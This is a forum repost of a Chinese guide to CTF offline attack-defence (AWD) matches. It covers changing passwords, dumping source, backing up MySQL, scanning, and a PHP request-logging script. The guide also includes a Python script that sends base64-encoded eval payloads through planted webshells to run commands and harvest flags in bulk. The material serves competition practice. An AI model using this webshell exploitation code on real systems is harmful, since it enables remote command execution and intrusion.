搜索

[21021] 2020-05-11_CTF线下AWD攻防模式的准备工作及起手式

文档创建者：s7ckTeam
浏览次数：27
最后更新：2025-01-18
2020-05-11_CTF线下AWD攻防模式的准备工作及起手式 C T F 线 下 A W D 攻 防 模 式 的 准 备 工 作 及 起 手 式 L e m o n S e c   2 0 2 0 - 0 5 - 1 1 0 X 0 1   改 s s h 密 码 官 方 在 给 出 服 务 器 密 码 时 ， 很 有 可 能 是 默 认 的 ， 需 要 赶 快 修 改 自 己 的 密 码 并 尝 试 能 不 能 登 陆 别 人 的 靶 机 ， 搞 波 事 情 嘿 嘿 嘿 ~ 0 X 0 2   d u m p 源 码 首 先 可 能 没 有 给 源 码 ， 需 要 自 己 把 源 码 全 d u m p 下 来 。 1 . 使 用 X F T P 或 者 F i l e Z i l l a   C l i e n t 等 图 形 化 服 务 器 管 理 软 件 2 . 使 用 s c p 命 令         s c p   - r   - P   P o r t   r e m o t e _ u s e r n a m e @ r e m o t e _ i p : r e m o t e _ f o l d e r   l o c a l _ f i l e 0 X 0 3   备 份 数 据 库 1 .   找 配 置 文 件 找 到 用 户 名 和 密 码 之 后 登 陆 m y s q l 2 .   备 份 [ r o o t @ l o c a l h o s t   ~ ] #   c d   / v a r / l i b / m y s q l   ( 进 入 到 M y S Q L 库 目 录 ， 根 据 自 己 的 M y S Q L 的 安 装 情 况 调 整 目 录 ) [ r o o t @ l o c a l h o s t   m y s q l ] #   m y s q l d u m p   - u   r o o t   - p   T e s t > T e s t 0 8 0 9 . s q l ， 输 入 密 码 即 可 。 3 .   还 原 法 一 ： [ r o o t @ l o c a l h o s t   ~ ] #   m y s q l   - u   r o o t   - p   回 车 ， 输 入 密 码 ， 进 入 M y S Q L 的 控 制 台 " m y s q l > " ， 输 入 命 令 " s h o w   d a t a b a s e s ； " 。 看 看 有 些 什 么 数 据 库 ； 建 立 你 要 还 原 的 数 据 库 ， 输 入 " c r e a t e   d a t a b a s e   v o i c e ； " ， 切 换 到 刚 建 立 的 数 据 库 ， 输 入 " u s e   v o i c e ； " ， 回 车 ； 导 入 数 据 ， 输
入 " s o u r c e   v o i c e . s q l ； " ， 回 车 ， 开 始 导 入 ， 再 次 出 现 " m y s q l > " 并 且 没 有 提 示 错 误 即 还 原 成 功 。 [ r o o t @ l o c a l h o s t   ~ ] #   c d   / v a r / l i b / m y s q l   ( 进 入 到 M y S Q L 库 目 录 ， 根 据 自 己 的 M y S Q L 的 安 装 情 况 调 整 目 录 ) [ r o o t @ l o c a l h o s t   m y s q l ] #   m y s q l   - u   r o o t   - p   T e s t < T e s t 0 8 0 9 . s q l ， 输 入 密 码 即 可 （ 将 要 恢 复 的 数 据 库 文 件 放 到 服 务 器 的 某 个 目 录 下 ， 并 进 入 这 个 目 录 执 行 以 上 命 令 | ） 。 m o o d l e _ b a k . s q l 是 需 要 恢 复 的 文 件 名 0 X 0 4   拿 到 源 码 之 后 先 D 盾 查 杀 好 吧 这 次 什 么 明 显 的 后 门 都 没 有 ， 可 能 比 较 隐 蔽 。 0 X 0 5 .   s e a y 扫 洞
虽 然 没 有 什 么 用 ， 但 是 至 少 有 个 审 计 的 方 向 ， 往 哪 里 看 。 0 X 0 6 .   上 监 控 脚 本 本 来 按 理 说 先 放 个 通 防 w a f 的 ， 但 是 听 说 十 分 容 易 被 c h e c k   d o w n ， 最 好 不 要 乱 动 ， 有 时 候 拿 f l a g 分 还 不 如 d o w n 的 分 多 ， 这 就 很 难 受 了 。 这 里 上 一 个 监 控 流 量 的 脚 本 。 需 要 在 p h p 文 件 前 加 个 r e q u i r e _ o n c e ( ' w a f . p h p ' ) ; 贴 监 控 脚 本 ： < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; d e f i n e ( ' L O G _ F I L E D I R ' , ' . / l o g s ' ) ; f u n c t i o n   w a f ( )
{ i f   ( ! f u n c t i o n _ e x i s t s ( ' g e t a l l h e a d e r s ' ) )   { f u n c t i o n   g e t a l l h e a d e r s ( )   { f o r e a c h   ( $ _ S E R V E R   a s   $ n a m e   = >   $ v a l u e )   { i f   ( s u b s t r ( $ n a m e ,   0 ,   5 )   = =   ' H T T P _ ' ) $ h e a d e r s [ s t r _ r e p l a c e ( '   ' ,   ' - ' ,   u c w o r d s ( s t r t o l o w e r ( s t r _ r e p l a c e ( ' _ ' ,   '   ' ,   s u b s t r ( $ n a m e ,   5 ) ) ) ) ) ]   =   $ v a l u e ; } r e t u r n   $ h e a d e r s ; } } $ g e t   =   $ _ G E T ; $ p o s t   =   $ _ P O S T ; $ c o o k i e   =   $ _ C O O K I E ; $ h e a d e r   =   g e t a l l h e a d e r s ( ) ; $ f i l e s   =   $ _ F I L E S ; $ i p   =   $ _ S E R V E R [ " R E M O T E _ A D D R " ] ; $ m e t h o d   =   $ _ S E R V E R [ ' R E Q U E S T _ M E T H O D ' ] ; $ f i l e p a t h   =   $ _ S E R V E R [ " S C R I P T _ N A M E " ] ; f o r e a c h   ( $ _ F I L E S   a s   $ k e y   = >   $ v a l u e )   { $ f i l e s [ $ k e y ] [ ' c o n t e n t ' ]   =   f i l e _ g e t _ c o n t e n t s ( $ _ F I L E S [ $ k e y ] [ ' t m p _ n a m e ' ] ) ; f i l e _ p u t _ c o n t e n t s ( $ _ F I L E S [ $ k e y ] [ ' t m p _ n a m e ' ] ,   " v i r i n k " ) ; } u n s e t ( $ h e a d e r [ ' A c c e p t ' ] ) ; $ i n p u t   =   a r r a y ( " G e t " = > $ g e t ,   " P o s t " = > $ p o s t ,   " C o o k i e " = > $ c o o k i e ,   " F i l e " = > $ f i l e s ,   " H e a d e r " = > $ h e a d e r ) ; l o g g i n g ( $ i n p u t ) ; } f u n c t i o n   l o g g i n g ( $ v a r ) { $ f i l e n a m e   =   $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ; $ L O G _ F I L E N A M E   =   L O G _ F I L E D I R . " / " . $ f i l e n a m e ; $ t i m e   =   d a t e ( " Y - m - d   G : i : s " ) ; f i l e _ p u t _ c o n t e n t s ( $ L O G _ F I L E N A M E ,   " r n " . $ t i m e . " r n " . p r i n t _ r ( $ v a r ,   t r u e ) ,   F I L E _ A P P E N D ) ; f i l e _ p u t _ c o n t e n t s ( $ L O G _ F I L E N A M E , " r n " . ' h t t p : / / ' . $ _ S E R V E R [ ' H T T P _ H O S T ' ] . $ _ S E R V E R [ ' P H P _ S E L F ' ] . ' ? ' . $ _ S E R V E R [ ' Q U E R Y _ S T R I N G ' ] , F I L E _ A P P E N D ) ; f i l e _ p u t _ c o n t e n t s ( $ L O G _ F I L E N A M E , " r n * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * " , F I L E _ A P P E N D ) ;
} w a f ( ) ; ? > 0 X 0 7 .   审 计 根 据 s e a y 扫 出 的 一 大 波 结 果 （ 虽 然 没 什 么 用 ） 审 计 啊 审 计 啊 还 是 审 计 啊 ~ 直 接 看 也 行 ， s e a y 扫 一 下 其 实 可 能 没 有 什 么 实 质 性 的 作 用 2 3 3 3 3 3 3   0 X 0 8 .   时 刻 关 注 流 量 和 积 分 榜 时 刻 看 着 自 己 的 分 数 ， 看 到 自 己 被 d o w n 了 就 赶 紧 恢 复 ， 不 管 被 删 库 还 是 被 自 己 删 了 什 么 重 要 配 置 文 件 或 者 还 是 上 的 通 用 w a f 脚 本 过 不 了 c h e c k 。 然 后 就 是 查 看 流 量 了 。 0 X 0 9 .   写 脚 本 批 量 拿 分 直 接 贴 e x p 了 ：         # ! / u s r / b i n / p y t h o n         # c o d i n g = u t f - 8         i m p o r t   s y s , r e q u e s t s , b a s e 6 4         d e f   l o a d f i l e ( f i l e p a t h ) :                 t r y   :                           f i l e   =   o p e n ( f i l e p a t h , " r b " )                         r e t u r n   s t r ( f i l e . r e a d ( ) )                 e x c e p t   :                           p r i n t   " F i l e   % s   N o t   F o u n d ! "   % f i l e p a t h                         s y s . e x i t ( )         d e f   f i l e _ w r i t e ( f i l e p a t h , f i l e c o n t e n t ) :                 f i l e   =   o p e n ( f i l e p a t h , " a " )                 f i l e . w r i t e ( f i l e c o n t e n t )                 f i l e . c l o s e ( )         d e f   g e t f l a g ( u r l , m e t h o d , p a s s w d , f l a g _ p a t h ) :                 # f l a g 机 的 u r l                 f l a g _ u r l = " 1 9 2 . 1 6 8 . 4 5 . 1 "                 # p r i n t   u r l                 # 判 断 s h e l l 是 否 存 在
                t r y   :                         r e s   =   r e q u e s t s . g e t ( u r l , t i m e o u t = 3 )                 e x c e p t   :                           p r i n t   " [ - ]   % s   E R R _ C O N N E C T I O N _ T I M E D _ O U T "   % u r l                         f i l e _ w r i t e ( f l a g _ p a t h , " [ - ]   % s   E R R _ C O N N E C T I O N _ T I M E D _ O U T n n "   % u r l )                         r e t u r n   0                 i f   r e s . s t a t u s _ c o d e ! = 2 0 0   :                         p r i n t   " [ - ]   % s   P a g e   N o t   F o u n d ! "   % u r l                         f i l e _ w r i t e ( f l a g _ p a t h , " [ - ]   % s   P a g e   N o t   F o u n d ! n n "   % u r l )                         r e t u r n   0                 # 执 行 命 令 来 获 取 f l a g   s y s t e m , e x e c , p a s s t h r u , ` , s h e l l _ e x e c                 # a = @ e v a l ( b a s e 6 4 _ d e c o d e ( $ _ G E T [ z 0 ] ) ) ; & z 0 = c 3 l z d G V t K C J 3 a G 9 h b W k i K T s =                 c m d   =   " c u r l   " + f l a g _ u r l                 # c m d   =   " w h o a m i "                 g e t f l a g _ c m d   = " e c h o   s y s t e m ( " % s " ) ; " % c m d                 d a t a = { }                 i f   m e t h o d = = ' g e t ' :                         d a t a [ p a s s w d ] = ' @ e v a l ( b a s e 6 4 _ d e c o d e ( $ _ G E T [ z 0 ] ) ) ; '                         d a t a [ ' z 0 ' ] = b a s e 6 4 . b 6 4 e n c o d e ( g e t f l a g _ c m d )                         t r y :                                 r e s   =   r e q u e s t s . g e t ( u r l , p a r a m s = d a t a , t i m e o u t = 3 )                                 # p r i n t   r e s . u r l                                 i f   r e s . c o n t e n t :                                         c o n t e n t   =   u r l + " n " + r e s . c o n t e n t + " n n "                                         f i l e _ w r i t e ( f l a g _ p a t h , c o n t e n t )                                         p r i n t   " [ + ]   % s   g e t f l a g   s u c e s s e d ! " % u r l                                 e l s e   :                                         p r i n t   " [ - ]   % s   c m d   e x e c   r e s p o n s e   i s   n u l l ! " % u r l                                         c o n t e n t   =   u r l + " n c m d   e x e c   r e s p o n s e   i s   n u l l ! n n "                                         f i l e _ w r i t e ( f l a g _ p a t h , c o n t e n t )                         e x c e p t   :                                 f i l e _ w r i t e ( f l a g _ p a t h , " n [ + ]   % s   G e t f l a g   F a i l e d !   Y o u   c a n   c h e c k   t h e   s h e l l ' s   p a s s w d ! n n " % u r l )                                 p r i n t   " [ + ]   % s   G e t f l a g   F a i l e d !   Y o u   c a n   c h e c k   t h e   s h e l l ' s   p a s s w d ! " % u r l                 e l i f   m e t h o d = = ' p o s t ' :                         d a t a [ ' p a s s ' ] = ' S n 3 r t f 4 c k '                         d a t a [ p a s s w d ] = ' @ e v a l ( b a s e 6 4 _ d e c o d e ( $ _ P O S T [ z 0 ] ) ) ; '                         d a t a [ ' z 0 ' ] = b a s e 6 4 . b 6 4 e n c o d e ( g e t f l a g _ c m d )                         t r y :
                                r e s   =   r e q u e s t s . p o s t ( u r l , d a t a = d a t a , t i m e o u t = 3 )                                 i f   r e s . c o n t e n t :                                         c o n t e n t   =   u r l + " n " + r e s . c o n t e n t + " n n "                                         f i l e _ w r i t e ( f l a g _ p a t h , c o n t e n t )                                         p r i n t   " [ + ]   % s   g e t f l a g   s u c e s s e d ! " % u r l                                 e l s e   :                                         p r i n t   " [ - ]   % s   c m d   e x e c   r e s p o n s e   i s   n u l l ! " % u r l                                         c o n t e n t   =   u r l + " n c m d   e x e c   r e s p o n s e   i s   n u l l ! n n "                                         f i l e _ w r i t e ( f l a g _ p a t h , c o n t e n t )                         e x c e p t :                                 f i l e _ w r i t e ( f l a g _ p a t h , " n [ + ]   % s   G e t f l a g   F a i l e d !   Y o u   c a n   c h e c k   t h e   s h e l l ' s   p a s s w d ! n n " % u r l )                                 p r i n t   " [ + ]   % s   G e t f l a g   F a i l e d !   Y o u   c a n   c h e c k   t h e   s h e l l ' s   p a s s w d ! " % u r l                         i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :                 # 存 放 f l a g 的 文 件                 f l a g _ p a t h = " . / f l a g . t x t "                 s h e l l s t r = l o a d f i l e ( " . / w e b s h e l l . t x t " )                 l i s t   =   s h e l l s t r . s p l i t ( " r n " )                 # p r i n t   s t r ( l i s t )                 i   =   0                 u r l = { }                 p a s s w d = { }                 m e t h o d = { }                 f o r   d a t a   i n   l i s t :                         i f   d a t a :                                 l s   =   d a t a . s p l i t ( " , " )                                 m e t h o d _ t m p   =   s t r ( l s [ 1 ] )                                 m e t h o d _ t m p   =   m e t h o d _ t m p . l o w e r ( )                                 i f   m e t h o d _ t m p = = ' p o s t '   o r   m e t h o d _ t m p = = ' g e t ' :                                         u r l [ i ] = s t r ( l s [ 0 ] )                                         m e t h o d [ i ] = m e t h o d _ t m p                                         p a s s w d [ i ] = s t r ( l s [ 2 ] )                                         i + = 1                                 e l s e   :                                         p r i n t   " [ - ]   % s   r e q u e s t   m e t h o d   e r r o r ! "   % ( s t r ( l s [ 0 ] ) )                                         f i l e _ w r i t e ( f l a g _ p a t h , " [ - ]   % s   r e q u e s t   m e t h o d   e r r o r ! n n "   % ( s t r ( l s [ 0 ] ) ) )                         e l s e   :   p a s s
                # p r i n t   s t r ( l e n ( u r l ) )                 f o r   j   i n   r a n g e ( l e n ( u r l ) ) :                         # 调 用 执 行 命 令 的 模 块                         # p r i n t   s t r ( j )                         # p r i n t   " u r l   i s   % s   m e t h o d   i s   % s   p a s s w d   i s   % s "   % ( u r l [ j ] , m e t h o d [ j ] , p a s s w d [ j ] )                         g e t f l a g ( u r l = u r l [ j ] , m e t h o d = m e t h o d [ j ] , p a s s w d = p a s s w d [ j ] , f l a g _ p a t h = f l a g _ p a t h )                 p r i n t   " G e t f l a g   f i n i s h e d ! " 0 x 1 0 .   O V E R ！ 安 利 几 个 链 接 ： 《 C T F 线 下 赛 A W D 模 式 下 的 生 存 技 巧 》 《 论 如 何 在 C T F 比 赛 中 搅 “ s h i ” 》 《 C T F 线 下 防 御 战   —   让 你 的 靶 机 变 成 “ 铜 墙 铁 壁 ” 》 A W D 攻 防 赛 w e b s h e l l 批 量 利 用 框 架 针 对 c t f 线 下 赛 流 量 抓 取 ( p h p ) 、 真 实 环 境 流 量 抓 取 分 析 的 工 具 A W D 攻 防 赛 脚 本 集 合 C T F D e f e n s e 原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / l i k e 9 8 k / a r t i c l e / d e t a i l s / 8 0 2 6 1 6 0 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理